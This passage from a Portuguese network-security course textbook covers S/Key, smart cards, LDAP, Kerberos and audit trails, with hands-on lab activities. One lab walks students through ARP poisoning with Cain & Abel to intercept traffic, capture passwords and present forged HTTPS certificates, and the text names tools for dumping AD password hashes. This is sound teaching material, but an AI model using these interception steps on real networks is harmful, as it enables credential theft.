Sistema de autenticação OTP desenvolvido para sistemas operacionais Unix e derivados, como 
o caso do Linux. A proposta do S/Key é obter um conjunto de senhas em que cada uma só pode 
ser utilizada uma vez. O processo de inicialização do S/Key funciona da seguinte forma:
1. O usuário provê um segredo W, a base de todo o processo, que nunca pode 
ser comprometido.
2. Uma função Hash é aplicada n vezes em cima de W, concatenando com um elemento 
randômico criado durante a inicialização. 
3. O usuário obtém n senhas correspondentes a cada passagem da função Hash. Dessa 
forma, o usuário utiliza a senha n para a primeira autenticação, a senha n-1 para a segunda e 
assim sucessivamente, até esgotar as senhas, quando o processo deverá ser reinicializado. 
Considerando que a partir de n é inviável deduzir n-1 (envolve reverter uma função Hash), 
caso n seja comprometida, ela já não mais poderá ser usada, pois cada senha só é usada 
uma vez. Para facilitar a digitação por parte do usuário, os bytes de cada Hash são conver-
tidos para palavras, utilizando uma tabela de conversão padronizada. 
Smart Card
O Smart Card, ou Cartão Inteligente, é um cartão de plástico, semelhante a um cartão de 
crédito, com um microchip embutido na superfície. O conceito de Smart Card foi patenteado 
pelo Dr. Kunitaka Arimura no Japão, em 1970.
qEmbora existam muitos tipos, qualquer Smart Card pode ser classificado quanto à forma 
de conexão com a leitora:
 1 Por contato físico: entende-se a inserção do cartão na leitora, onde os contatos 
dos terminais do cartão com os da leitura permitem a troca de dados entre ambos. 
É importante salientar que a maioria dos Smart Cards possuem terminais para esse 
tipo de conexão. 
 1 Sem contato físico: se refere aos cartões que não necessitam de contato físico com 
a leitora, o que indica que a conexão é feita através de ondas eletromagnéticas. A 
ausência do ato de inserção traz benefícios, como economia de tempo e preservação 
dos terminais do cartão. Um exemplo interessante deste tipo de cartão são os passa-
portes eletrônicos. 
Por serem muito mais baratos, os cartões por contato ainda são os mais utilizados, ofere-
cendo um nível razoável de segurança e abrangendo uma ampla gama de aplicações. Os 
cartões por contato são também chamados de Cartões de Memória (Memory Cards). Os 
Smart Cards que não fazem uso de contato físico são tipicamente Cartões Microproces-
sados. Embora não seja do escopo dos cartões de identificação, a modalidade de trans-
missão sem contato permite que o cartão propriamente dito seja apenas um portador do 
chip, ou seja, a presença do chip em anéis, relógios, braceletes e tornozeleiras ainda não 
quebra o conceito de Smart Card.
Os cartões inteligentes por contato físico podem ser utilizados com leitores conectados 
em um computador pessoal, a fim de autenticar um usuário. Softwares de navegação na 
internet também podem utilizar a tecnologia do Smart Card para complementar SSL (Secure 
Sockets Layer), utilizado para melhorar a segurança em transações na internet. Como o 
cartão inteligente possui arquitetura de hardware e software, ele interage com o sistema, 
permitindo ou negando acesso quando necessário. Ele pode ser programado, por exemplo, 
A lista de palavras 
e o funcionamento 
do S/Key constam na 
RFC 1760. 
d
136
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
para que após cinco tentativas de autenticação sem sucesso, o conteúdo da memória seja 
destruído, inutilizando-o.
Hoje em dia é muito comum Smart Cards nos nossos cartões de crédito, em chips de 
celulares GSM ou em cartões emitidos pelo governo, como o e-CPF e o e-CNPJ, além do 
recém-anunciado Registro de Identificação Civil (RIC). Nesses casos, o cartão contém um 
certificado digital padrão ICP-Brasil. Os certificados digitais serão vistos em mais detalhes 
na sessão 7. Em alguns desses cartões, existe um sistema complexo de proteção do material 
criptográfico contido dentro do cartão, que se apaga caso o cartão seja aberto ou haja 
erro na senha de acesso em um determinado número de vezes. Normalmente, as chaves 
privadas nunca saem de dentro do cartão, que possui um chip capaz de realizar operações 
criptográficas dentro do próprio cartão. 
Servidores de diretório: LDAP
qBanco de dados com informações descritivas, baseado em atributos e organizado em 
forma hierárquica (árvore) e não relacional (tabelas), otimizado para leitura e com certifi-
cação digital e baseado em entradas.
Uma entrada é um conjunto de atributos referenciado por Nome Distinto(DN) de forma 
não ambígua. Cada atributo de entrada tem um tipo de valor, como por exemplo CN e ON.
LDAP é um protocolo (TCP/IP) cliente-servidor, utilizado para acessar um serviço de dire-
tório. Foi inicialmente usado como uma interface para o X.500, mas também pode ser usado 
com autonomia e com outros tipos de servidores de diretório. Atualmente tornou-se padrão 
e diversos programas já têm suporte a LDAP. Livros de endereços, autenticação, armazena-
mento de certificados digitais (S/MIME) e de chaves públicas (PGP) são alguns dos exemplos 
de onde o LDAP já é amplamente utilizado.
Serviço de diretório
Um diretório é como um banco de dados, que tende a conter informações descritivas, 
baseadas em atributo, sendo organizado em forma hierárquica (árvore) e não relacional 
(tabelas). A informação em um diretório é geralmente mais lida do que escrita, de modo que 
normalmente os diretórios são otimizados para leitura. Como consequência, diretórios nor-
malmente não são usados para programar transações complexas ou esquemas de consultas 
regulares em bancos de dados.
Diretórios são preparados para dar resposta rápida a um grande volume de consultas ou 
operações de busca. Eles também podem ter a habilidade de replicar informações extensa-
mente; isso é usado para acrescentar disponibilidade e confiabilidade, enquanto reduzem o 
tempo de resposta.
As recomendações do ITU-T X.509 são parte da série de recomendações X.500, que define 
serviços de diretório. A ITU-T define que o diretório é um servidor ou um conjunto de servi-
dores distribuídos que mantêm a base de informações de usuários. Nessa base de informa-
ções estão contidos endereços de rede e outros atributos e informações de usuários.
X.500 
Série de recomen-
dações do ITU-T que 
definem o serviço de 
diretório.
ITU-T 
Setor de normatização 
de telecomunicações, 
responsável por 
coordenar padroniza-
ções relacionadas a 
telecomunicações da 
União Internacional de 
Telecomunicações. 
137
 
C
ap
ítu
lo
 6
 - 
Au
te
nt
ic
aç
ão
, A
ut
or
iz
aç
ão
 e
 C
er
tifi
ca
çã
o 
D
ig
it
al
Exercício de fixação 8 e 
LDAP
Explique o que é o LDAP.
Exercício de fixação 9 e 
Serviço de diretórios
O que é um serviço de diretório?
Tipos de informação
O modelo de serviço do diretório LDAP é baseado em entradas. Uma entrada é um conjunto 
de atributos e é referenciada através de um nome distinto (DN). O DN é usado para referen-
ciar uma entrada de forma não ambígua. Cada um dos atributos de entrada tem um tipo e 
um ou mais valores. Esses tipos geralmente são palavras mnemônicas, como CN para nome 
comum, ou mail para endereço de correio eletrônico; existem RFCs que determinam essas 
palavras, com os valores dependendo do tipo de atributo. Por exemplo, um atributo mail 
pode conter o valor <usuario@dominio.com.br>. Um atributo fotoJpeg conterá uma fotografia.
Protocolo Kerberos 
Protocolo de autenticação de rede desenvolvido em 1983 pelo MIT (Massachusetts Institute 
of Technology), como parte de um projeto de segurança que visava produzir um ambiente 
de TI seguro e amplamente distribuído pelo campus da universidade.
Fazendo uso de criptografia de chave privada, provê autenticação em redes abertas 
mediante uso de algoritmo de autenticação de três vias (TTP – Trusted Third Party), pro-
posto por Needham e Schroeder. Todos os equipamentos envolvidos devem confiar 
mutualmente no sistema de autenticação central provido pelo Kerberos. Esse conceito é 
semelhante a um cartório no mundo real, ou seja, a sociedade confiará na assinatura de um 
tabelião para afirmar que os envolvidos realmente se identificaram (autenticaram) durante a 
assinatura de um determinado contrato.
Como o nome sugere, o Kerberos funciona, basicamente, como três componentes principais, 
um para cada função específica:
 1 Ticket: tipo de certificado/token que informa com segurança, para todos os equipa-
mentos conectados ao sistema de autenticação, a identidade do usuário para quem o 
ticket foi concedido.
 1 Autenticador: uma credencial gerada pelo cliente com informações que são comparadas 
com as informações do ticket, para garantir que o cliente que está apresentando o ticket 
é o mesmo para o qual o ticket foi concedido.
Saiba mais
 Na mitologia Grega, 
Kerberos era um 
cachorro que possuía 
três cabeças e era 
responsável por vigiar 
os portões de Hades, 
tendo como sua 
principal missão evitar 
a entrada e saída de 
pessoas ou de coisas 
indesejáveis. 
l
138
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
 1 Centro de distribuição de chaves: para acessar uma aplicação, o usuário obtém tem-
porariamente tickets válidos através do centro de distribuição de chaves que ratificam 
os tickets com o autenticador. A aplicação examina o ticket e o autenticador quanto à 
validade e concede acesso caso sejam válidos.
Explicando de uma forma mais simplificada, imagine um sistema de vendas de ingressos 
para um filme de cinema com classificação para maiores de 18 anos. Para comprar o 
ingresso, você deve ir então à bilheteria (centro de distribuição) para realizar o pagamento e 
provar que você possui mais de 18 anos. Ao realizar essas atividades com sucesso, a bilhe-
teria vai lhe fornecer um ingresso (ticket) que você apresentará ao bilheteiro (autenticador), 
assim que tentar entrar na sala do filme. O bilheteiro vai verificar se o ticket é verdadeiro 
antes de lhe permitir entrar na sala de cinema.
Para o processo de autenticação são utilizados três servidores:
 1 Servidor de Autenticação (Authentication Server – AS): responsável por receber um 
pedido de autenticação de um usuário e verificar se a identidade desse usuário é autên-
tica. Sendo válida essa identidade, o AS fornece um ticket e uma chave de sessão, que vai 
permitir o contato com outro servidor, o TGS.
 1 Servidor de Concessão de Tickets (Ticket Granting Server – TGS): responsável por 
fornecer tickets para serviços específicos requeridos pelo usuário. O contato com o TGS 
é feito após a autenticação pelo AS. O usuário tem seu ticket avaliado e, uma vez validado 
pelo TGS, recebe um novo ticket, agora para obter algum serviço disponível.
 1 Servidor de Administração (KADM): servidor responsável por controlar as chaves secretas 
(informações criptografadas). Antes de realizar o processo de autenticação, é preciso que o 
usuário cadastre seus dados através do KADM, para que possua um login e uma senha.
Banco de Dados
Key Distribution Center (KDC)
Ticket Granting Server 
(TGS)
Authentication Server
(AS)
Cliente
AS
_R
EQ
AS
_R
EP
TGS_REQ
TGS_REP
AP_REP
AP_REQ
Servidor de 
aplicação
Resumidamente, os seguintes passos são executados quando um usuário tentar acessar um 
determinado serviço em um Application Server.
1. O usuário realiza uma autenticação em sua estação (utilizando usuário e senha, por exemplo).
2. O Cliente Kerberos então executa uma função hash sobre a senha digitada e isso se torna 
a Chave Secreta do Cliente/Usuário (aqui chamada de K1).
Figura 6.6 
Processo de auten-
ticação 
do Kerberos. 
Fonte: http://www.
gta.ufrj.br.
139
 
C
ap
ítu
lo
 6
 - 
Au
te
nt
ic
aç
ão
, A
ut
or
iz
aç
ão
 e
 C
er
tifi
ca
çã
o 
D
ig
it
al
3. O Cliente Kerberos envia uma mensagem em texto claro para o Authentication Server 
(AS) contendo o Identificador do Usuário (nessa fase, não é enviada a chave K1 e/ou a senha do usuário para o AS).
4. O AS gera a chave secreta (K1) utilizando a mesma função hash utilizada pelo usuário a 
partir da senha do usuário encontrada no servidor de banco de dados (por exemplo, o 
Active Directory no Windows Server).5. O AS envia de volta ao cliente duas mensagens:
 1 Mensagem A contendo a Chave de Sessão do TGS (K2) cifrada utilizando a chave K1 
gerada no passo anterior.
 1 Mensagem B contendo o TGT (Ticket-Granting-Ticket), que inclui a identificação do cliente, 
endereço de rede do cliente, prazo de validade do ticket e a Chave de Sessão do cliente 
TGS (K2). Todo o conteúdo do ticket TGT é criptografado usando a Chave Secreta TGS, 
gerada pelo Servidor TGS e enviada de forma cifrada na Mensagem A.
6. O cliente recebe mensagens A e B e tenta decifrá-las utilizando a chave K1 e, após, tenta recu-
perar a Chave TGS da Sessão (k2), que está cifrada na mensagem A. Caso não consiga, fica 
claro que o usuário não possui a chave secreta (k1) e, portanto, não deve ser autenticado.
Kerberos no Windows
A implementação Kerberos do Windows foi implementada a partir do Windows 2000 Server, 
onde passou a ser padrão no Active Directory, o serviço de diretórios da Microsoft. O Active 
Directory consiste em um diretório X.500 (LDAP), combinado com autenticação Kerberos. 
No Active Directory, o Kerberos substitui a autenticação NTLM, facilitando o uso de single 
sign-on (SSO) e tornando a solução mais segura. Apesar de o Kerberos ser um protocolo 
mais robusto, as senhas ainda são armazenadas em formato de Hash no diretório e podem 
ser obtidas através de utilitários encontrados na internet, como o Cain & Abel, Pwdump e 
Ophcrack. A figura a seguir mostra o funcionamento geral do Kerberos. 
1. I am user Sam and need a Ticket to Get Ticket
2. Here is a TGT-If you can decrypt this 
 response with your password hash
3. Here is my TGT, give me a Service TicketUser logs in to gain 
network access
4. Here is your Service Ticket
5. Here is my Service Ticket Authenticate me
6. Cliente/Server session
Network
services
Ticket Granting
Service
(TGS)
Authentication
Service
(AS)
Key Distribution Center (KDC)
 
Saiba mais
Mais informações 
sobre o Kerberos 
podem ser encon-
tradas na RFC 4120.
d
Figura 6.7 
Kerberos 
(Fonte: Cisco).
140
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Acesso a serviços em uma rede
Sempre que um usuário tentar acessar um serviço na rede, o cliente Kerberos enviará para o 
TGS o TGT que foi gerado pelo serviço de autenticação (KDS). O TGS vai gerar um ticket para 
o serviço em particular que será utilizado pelo cliente. Esse funcionamento é detalhado nos 
passos abaixo, que explicam o funcionamento do protocolo nessa situação:
1. Ao tentar acessar um serviço em um servidor, o cliente Kerberos envia duas mensagens 
ao TGS.
 1 Mensagem C: composta pelo TGT informado na Mensagem B do item anterior e o identifi-
cador do serviço que está sendo requisitado.
 1 Mensagem D: autenticador, composto pelo identificador do cliente e de um período de 
validade cifrado com a Chave de Sessão TGS do cliente (K2).
2. De posse das mensagens C e D, o servidor TGS tentará recuperar o TGT da Mensagem B 
a partir da mensagem C. Ele vai decifrar a mensagem B utilizando a Chave de Sessão TGS 
(K2) que ele gerou nos passos anteriores. Isso vai produzir uma Chave de Sessão TGS (k2), 
que foi informada pelo cliente a qual ele vai comparar com sua Chave de Sessão TG (K2) 
que ele possui associada ao cliente. Após isso, ele decifrará a mensagem D e, se tudo tiver 
acontecido de forma correta, ele enviará ao cliente:
 1 Mensagem E: Ticket Client-to-Server, que inclui o Identificador do Cliente, o endereço de 
rede do cliente, um período de validade para a Session Key entre o cliente e o servidor 
(K3), tudo cifrado, utilizando a chave secreta gerada para o serviço (k2).
 1 Mensagem F: Chave Secreta entre cliente e servidor (k3) cifrada utilizando a chave TGS 
gerada para o cliente.
3. De posse das mensagens E e F geradas pelo TGS, o cliente encaminha essas informa-
ções para o servidor responsável pelo serviço em que o usuário está tentando acesso, 
enviando as mensagens:
 1 Mensagem E: gerada no passo anterior, contendo o Ticket Client-to-Server cifrado utili-
zando a chave Secreta do Serviço (K3).
 1 Mensagem G: uma nova mensagem de autenticação, incluindo o identificador do cliente e 
um período de validade. Todas essas informações cifradas, utilizando a chave de sessão K3.
4. O servidor do serviço decifra o ticket utilizando sua própria chave secreta e recupera a 
Chave de Sessão Cliente/Servidor (K3). Usando a chave de sessão K3, ele decifra a men-
sagem G e confirma a veracidade do processo de autenticação. Se tudo tiver acontecido 
corretamente, o servidor do serviço envia uma mensagem para o cliente, confirmando sua 
identidade e o período de validade informado pelo cliente na mensagem G, acrescido de 1.
5. O cliente, ao receber essa mensagem do servidor, verifica a autenticidade da mensagem 
decifrando-a com a Chave de Sessão Cliente/Servidor (K3) e, também, se a hora está 
atualizada corretamente. Após isso, é iniciado então o acesso ao serviço solicitado.
Benefícios do Kerberos
Dentre os principais benefícios de se utilizar o Kerberos em redes de computadores, 
podemos destacar:
 1 Padrões baseados em autenticação robusta.
 1 Amplo suporte ao sistema operacional.
141
 
C
ap
ítu
lo
 6
 - 
Au
te
nt
ic
aç
ão
, A
ut
or
iz
aç
ão
 e
 C
er
tifi
ca
çã
o 
D
ig
it
al
 1 Provê capacidade de Single Sign-On (SSO).
 1 Senhas nunca percorrem a rede.
 1 Senhas de difícil previsão.
 1 Tickets de autenticação roubados não podem ser reutilizados.
Organização do Kerberos
O Kerberos oferece um mecanismo para autenticação mútua entre partes, antes de se 
estabelecer efetivamente uma comunicação segura. O Kerberos usa o que é conhecido 
como KDC (Key Distribution Center), para facilitar a distribuição segura de permissões e de 
chaves simétricas dentro de uma rede. O KDC é executado como um serviço em um servidor 
e mantém uma base de dados para todas as entidades de segurança dentro do chamado 
Domínio Kerberos.
O Kerberos divide a rede nos chamados reinos (realms). Cada reino possui seu servidor de 
autenticação e uma política de segurança própria, permitindo diferentes níveis de segu-
rança por reino. Essa divisão de reinos pode ser hierarquizada, fazendo com que cada área 
da organização possua um reino local vinculado a um reino central.
InternetAdministrativo Empresa 1 Financeiro Empresa 1
 
Por exemplo, para que o domínio “Administrativo Empresa1” consiga acessar serviços de 
“Financeiro Empresa1” em um meio inseguro como a internet, basta que os servidores 
Kerberos troquem chaves de segurança e se autentiquem mutuamente. Assim o usuário 
autenticado em “Administrativo Empresa1” não necessita de outra autenticação para acessar 
serviços em “Financeiro Empresa1”. Em uma rede Windows, o Kerberos funciona no 
controlador de domínio e utiliza o Active directory para autenticar, efetivamente, todas as 
entidades constantes nesse diretório.
Para mais informações sobre o funcionamento do protocolo Kerberos, consulte:
 1 Related Requests For CommentsRFC 4120 – The Kerberos Network Authentication Service (V5).
 1 RFC 4537 – Kerberos Cryptosystem Negotiation Extension.
 1 RFC 4752 – The Kerberos V5 (GSSAPI) Simple Authentication and Security Layer 
(SASL) Mechanism.
 1 RFC 6111 – Additional Kerberos Naming Constraints.
 1 RFC 6112 – Anonymity Support for Kerberos.
 1 RFC 6113 – A Generalized Framework for Kerberos Pre-Authentication.
 1 RFC 6251 – Using Kerberos Version 5 over the Transport Layer Security (TLS) Protocol.
Exercício de fixação 10 e 
Kerberos
O que é Kerberos e como é utilizado?
Figura 6.8 
Exemplo de auten-
ticação mútua para 
acesso de serviços.
142
 
Se
gu
ra
nç
a 
de
 Red
es
 e
 S
is
te
m
as
Certificação digital
A recomendação X.509 define um framework para provimento de serviços de autenticação 
de usuário do diretório X.500. O diretório também pode servir como um repositório de 
certificados públicos de usuários do repositório. O X.509 define também alternativas de 
protocolos de autenticação com base no uso de certificados digitais. A recomendação X.509 
é baseada no uso de algoritmos criptográficos de chave pública e assinatura digital. Ela não 
explicita o uso de um algoritmo especificamente, mas recomenda o uso do RSA.
Autoridades certificadoras
Existem várias implementações de Infraestrutura de Chave Pública (PKI) comerciais e 
de software livre:
 1 Microsoft Windows 2008 Server – CertificateAutority.
 1 Microsoft Public Key Infrastructure (PKI) for Windows Server 2003. 
 1 Projeto de software livre OpenCA PKI – PublicKeyInfrastructure.
Trilhas de auditoria 
A análise dos eventos é uma atividade vital para identificar o que ou quem causou algo no 
sistema. O processo de auditoria pode ser dividido em fases definidas na elaboração da 
política de segurança. A auditoria em segurança da informação tem o papel de assegurar a 
qualidade da informação e participar do processo de garantia quanto a possíveis e indesejá-
veis problemas de falha humana. 
Trilha de auditoria é termo genérico para registro de uma sequência de atividades em um 
sistema ou conjunto deles. A ideia básica da análise de trilhas de auditoria é, em primeiro 
lugar, registrar e armazenar as atividades do sistema em uma sequência selecionada por 
projetistas ou administradores com base nas políticas previamente definidas.
Uma auditoria é indispensável para o monitoramento relacionado à segurança de qualquer 
aplicativo baseado em servidor, de servidores de e-mail a bancos de dados e servidores web. 
Nos ambientes atuais que valorizam a segurança, uma trilha de auditoria confiável é uma 
ferramenta valiosa e normalmente um requisito legal para determinadas indústrias. Por 
exemplo, normas norte-americanas como a Sarbanes-Oxley e a HIPAA (Health Insurance 
Portability Accountability Act) requerem trilhas de auditoria para determinados sistemas, 
aplicativos e dados.
Geração dos dados
Os sistemas operacionais Windows Server 2003 e 2008 fornecem recursos que permitem 
que um grande número de aplicativos use a funcionalidade de auditoria. Podem ser regis-
trados eventos das atividades realizadas pelo e no sistema. Um exemplo é a configuração 
das diretivas de segurança local do Windows, ferramenta que permite configurar o registro 
de eventos, como o acesso a objetos locais, conforme as figuras seguintes.
Assinatura digital 
Método de autenticação 
dos algoritmos de 
criptografia de chave 
pública operando 
em conjunto com uma 
função Hash, também 
conhecida como função 
resumo.
143
 
C
ap
ítu
lo
 6
 - 
Au
te
nt
ic
aç
ão
, A
ut
or
iz
aç
ão
 e
 C
er
tifi
ca
çã
o 
D
ig
it
al
Falta a navegação para acesso à funcionalidade. Acesse “Local Security Policy” em Local 
Policies>Audit Policy>Audit object acess. Configure como Failure.
Uma vez configurada a diretiva, os registros serão gravados localmente no próprio sistema, 
podendo ser visualizados com o Event Viewer, outra ferramenta Windows.
Figura 6.9 
Acesso às 
funcionalidades 
de Audit Policy. 
Figura 6.10 
Configurando as 
propriedades de 
Audit object access.
144
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Figura 6.11 
Visualizador 
de eventos 
(Audit Failure).
145
 
C
ap
ítu
lo
 6
 - 
Ro
te
ir
o 
de
 A
ti
vi
da
de
s
Roteiro de Atividades 6
Atividade 1 – Utilização do sistema OTP S/Key
Nesta atividade, vamos configurar o uso de um sistema de autenticação OTP utilizando o 
Opie. Será fornecido acesso SSH ao host LinServer. 
Passo 1 Como processo inicial, vamos instalar o OpenSSH-Server no host LinServer 
e no FWGW1, para fazermos acesso a ele via SSH. Para instalar o servidor 
OpenSSH, vamos utilizar os seguintes comandos apt-get: 
# apt-get update
# apt-get install openssh-server
Passo 2 Uma vez instalado o SSHD, vamos instalar o Opie cliente e servidor no FWGW1, 
que utilizaremos como ferramenta para alteração do método de autenticação 
do pam.d. Para instalar, utilizaremos novamente o apt-get:
# apt-get install opie-client opie-server
Passo 3 Agora que o Opie está instalado na máquina, edite o arquivo /etc/pam.d/sshd e 
comente a linha @include common-auth; após essa linha, vamos adicionar mais 
três linhas ao arquivo de configuração:
auth sufficient pam_unix.so
auth sufficient pam_opie.so
auth required pam_deny.so
Essas linhas instruirão o Pluggable Authentication Module (PAM) do Linux a tentar 
utilizar o módulo pam_opie.so, que consulta o Opie para autenticar no sistema.
Passo 4 Agora, edite o arquivo de configuração do SSH para permitir resposta a desafios, 
depois reinicie o servidor SSH, com o seguinte comando com o usuário root:
# vi /etc/ssh/sshd_config
...
ChallengeResponseAuthentication yes
...
Reinicie o serviço:
# /etc/init.d/ssh restart
Passo 5 Antes de autenticar um usuário, vamos incluir um usuário para usar a autenti-
cação S/Key do Opie. Para isso execute:
# su aluno
# aluno@FWGW1:~$ opiepasswd -f –c
Passo 5 Agora, utilizando o putty ou um cliente ssh qualquer tente se autenticar no 
FWGW1 utilizando o usuário aluno e a senha cadastrada no OPIE. Observe 
que agora, para autenticar, será necessário responder ao desafio apresentado 
pelo ssh. Para calcular o desafio poderemos utilizar o opie-client instalado na 
máquina Linux ou utilizar uma calculadora Javascript disponível em: 
http://www.ocf.berkeley.edu/~jjlin/jsotp/
Passo 6 Aqui é importante relembrar o processo de inicialização do S/Key descrito 
durante a sessão teórica. Você consegue entender os dados inseridos na calcula-
dora Javascript apresentada, e como eles serão usados para calcular as senhas? 
Para saber mais 
sobre outras opções 
de configuração, 
consulte o manual 
on-line do projeto 
(Connecting to the 
Berkeley Mathematics 
Department with opie).
d
146
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Atividade 2 – Configurando o serviço de autenticação Kerberos no Windows 2008
Para realizar a instalação do serviço de autenticação Kerberos do Windows 2008 será neces-
sário realizar a instalação da Rule Active Directory. Para isso execute o comando dcpromo.exe.
1. Na página “Active Directory Domain Services Installation Wizard,” marque a opção 
“Use advanced mode installation” e clique em “Next”.
2. Na página “Operating System Compatibility” clique em “Next”.
3. Na página “Choose a Deployment Configuration”, selecione “Create a new domain in 
a new forest” e clique em “Next”.
4. Na página “Name the Forest Root Domain”, digite o nome DNS completo do domínio raiz 
da floresta. No nosso digite domainA.esr.local ou domainB.esr.local (dependendo do seu 
grupo) e clique em “Next”.
5. Na próxima página será necessário informar um nome NetBios para o domínio. Insira 
DOMAINA ou DOMAINB (dependendo do seu grupo) e clique em “Next”.
6. Na página “Set Forest Functional Level”, selecione o nível funcional de floresta que 
acomoda os controladores de domínio a serem instalados em qualquer lugar da Flo-
resta; em seguida, clique em “Next”. Como teremos somente controladores de domínio 
Windows 2008 Server, utilizaremos o nível funcional Windows 2008 Server. Após sele-
cionar, clique em “Next”.
7. Na página “Additional Domain Controller Options“, a opção “Servidor DNS” está sele-
cionada por padrão, portanto, a infraestrutura DNS da sua floresta deverá ser criadadurante a instalação do AD DS. Clique em “Next”.
8. Se o assistente não puder criar uma delegação para o servidor DNS, uma mensagem será 
exibida para indicar que você pode criar a delegação manualmente. Para continuar, clique 
em “Yes”.
9. Na página “Location for Database, Log Files, and SYSVOL”, mantenha os valores originais 
propostos pelo instalador e, em seguida, clique em “Next”.
10. Na página Senha do “Directory Services Restore Mode Administrator Password“, digite 
“rnpesr” e confirme a senha do modo de restauração; em seguida, clique em “Next”.
11. Na página “Summary”, clique em “Next”.
12. Após a instalação das funções AD, DS e DNS, será necessário reiniciar o servidor.
13. Agora inicie a máquina Virtual Windows XP e a adicione no domínio que você acabou de 
criar. Não se esqueça de alterar o endereço do servidor de DNS para o IP do servidor 
Windows 2008, ou seja, 172.16.G.20.
14. Crie um usuário no AD chamado RNP e execute o Wireshark. Tendo a certeza de que 
o Wireshark está em execução no servidor Windows 2008 e que ele está capturando 
pacotes, acesse a máquina virtual Windows XP e realize a autenticação utilizando o 
usuário RNP. Tente visualizar todas as mensagens citadas na parte teórica deste livro.
147
 
C
ap
ítu
lo
 6
 - 
Ro
te
ir
o 
de
 A
ti
vi
da
de
s
Atividade 3 – Uso do Cain & Abel para avaliar a segurança do sistema de autenticação
Nesta atividade usaremos o Cain & Abel para realizar um ataque de ARP-Poison, capturar 
senhas e avaliar a segurança do sistema de autenticação.
1. Acesse o Servidor Windows 2008 e crie um novo usuário chamado RNP2, com a senha 123456.
2. A partir do servidor Windows 2008, acesse o site www.google.com.br. Entre no prompt de 
comando e execute o comando arp –a. Anote o endereço MAC do IP 172.16.G.1.
3. Agora, autentique como Administrador na máquina virtual Windows XP, desative o firewall 
e inicie o programa Cain & Abel (o executável do programa Cain & Abel encontra-se em: 
c:\arquivos de programas\Cain\Cain.exe).
4. Iniciemos a execução do sniffer (clique no ícone que parece uma placa de rede, selecione 
a interface padrão, clique novamente nesse ícone e, também, no ícone amarelo).
5. Para iniciarmos um scan da rede em busca de MACs que queiramos sniffar, precisamos ir 
à aba “Sniffer” e, na parte inferior dessa janela, clicar no botão “Hosts”.
6. Como podemos ver abaixo, nessa janela são exibidos os PCs em nossa rede:
7. Vamos ver agora a técnica Man in the Middle: clique no botão “APR” na parte inferior 
esquerda da janela:
148
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
8. Clique no botão com o símbolo na barra de ferramentas superiores (assim iniciaremos 
o sniffer).
Aqui o botão “+” pode não aparecer. Para resolver o problema, no treeview esquerdo 
clique na raiz APR e depois em uma linha qualquer no quadro status.
9. Selecionando um endereço IP do lado esquerdo, automaticamente os campos do lado 
direito são preenchidos, possibilitando, dessa maneira, interceptar quaisquer dados que 
trafeguem a partir do IP selecionado para qualquer destino detectado. No lado esquerdo, 
selecione o IP 172.16.G.20 e, no lado direito, selecione o IP 172.16.G.1.
10. Com o sniffer em funcionamento, acesse o prompt de comando do servidor Windows 
2008 e execute o comando arp –a. Observe que o endereço MAC do host 172.16.G.1 foi 
trocado para o endereço MAC de sua estação Windows XP.
11. Agora, a partir da máquina Windows 2008, acesse algum site https, como Gmail, Banco 
do Brasil etc. Observe o comportamento estranho do navegador, que informa um certifi-
cado inválido. O que aconteceu é que o Cain & Abel gerou um certificado falso e apre-
sentou como se fosse o certificado do site https que você está tentando acessar.
149
 
C
ap
ítu
lo
 6
 - 
Ro
te
ir
o 
de
 A
ti
vi
da
de
s
12. Verifique as demais configurações desta ferramenta.
150
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
151
 
C
ap
ítu
lo
 7
 - 
Re
de
s 
Pr
iv
ad
as
 V
ir
tu
ai
s
ob
je
tiv
os
conceitos
7
Redes Privadas Virtuais
Detalhar o uso de VPN IPSec e VPN SSL, abordando aspectos práticos relacionados.
 
 
VPN, PPT, PL2TP, IPSec e SSL, entre outros.
 
 
Introdução
A criptografia é um assunto extenso e muito importante para a segurança da informação, 
considerada fundamental por muitos autores. Neste capítulo, veremos aspectos teóricos do 
uso de VPN IPSec e VPN SSL e abordaremos aspectos práticos dessas aplicações.
Exercício de nivelamento 1 e 
Redes Privadas Virtuais
O que você entende por VPN?
A sua organização utiliza VPN?
VPN
qVPN (Virtual Private Network) possibilita o uso de uma rede pública para interligar escri-
tórios comerciais, com redução de custos. Serve para viabilizar negócios que têm como 
premissa requisitos de comunicação eficiente e transportar dados de modo seguro. 
Pode ser usada para transferir informações sigilosas usando um canal compartilhado 
para interligar duas redes privadas protegidas.
Premissas de uma VPN:
 1 Confidencialidade dos dados.
 1 Integridade dos dados.
 1 Não repúdio do emissor.
 1 Autenticação da mensagem.
 1 Analogia ao modelo OSI.
152
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Virtual Private Network é um termo bastante utilizado atualmente. A possibilidade de uso de 
uma rede pública como a internet para interligar escritórios comerciais e grandes empresas 
tem permitido a redução de custos e vai viabilizar negócios que têm como premissa requisitos 
de comunicação eficiente. Dessa forma, gestores de empresas vêm buscando mecanismos 
para manter as equipes sempre em comunicação, visando diminuir os investimentos em infra-
estrutura de TI ou até mesmo buscando melhor uso do parque tecnológico já instalado.
Uma solução efetiva de VPN visa transportar os dados de modo seguro e sigiloso, usando 
um canal compartilhado para interligar duas redes privadas protegidas. Para que isso 
ocorra, precisamos alcançar alguns objetivos importantes:
 1 Confidencialidade dos dados: garantia de que a mensagem não poderá ser interpretada 
por origens não autorizadas.
 1 Integridade dos dados: garantia de que o conteúdo da mensagem não foi alterado 
durante a transmissão entre o emissor e o receptor.
 1 Não repúdio do emissor: o emissor não poderá repudiar o envio da mensagem, ou seja, 
dizer que ele não enviou a mensagem questionada, com embasamento legal.
 1 Autenticação da mensagem: garantia de que a mensagem foi enviada por uma fonte 
autêntica e será entregue a um destino autêntico.
Neste capítulo, vamos utilizar o modelo OSI de 7 camadas para classificar as tecnologias de VPN. 
Na ilustração, as camadas do modelo OSI e as respectivas aplicações de tecnologias de VPN.
Modelo OSI
Camada 7: Aplicação
Camada 6: Apresentação
Camada 5: Sessão
Camada 4: Transporte
Camada 3: Rede
Camada 2: Enlace
Camada 1: Física
Tecnologia VPN
HTTPS, S/MIME, PGP
N/A
N/A
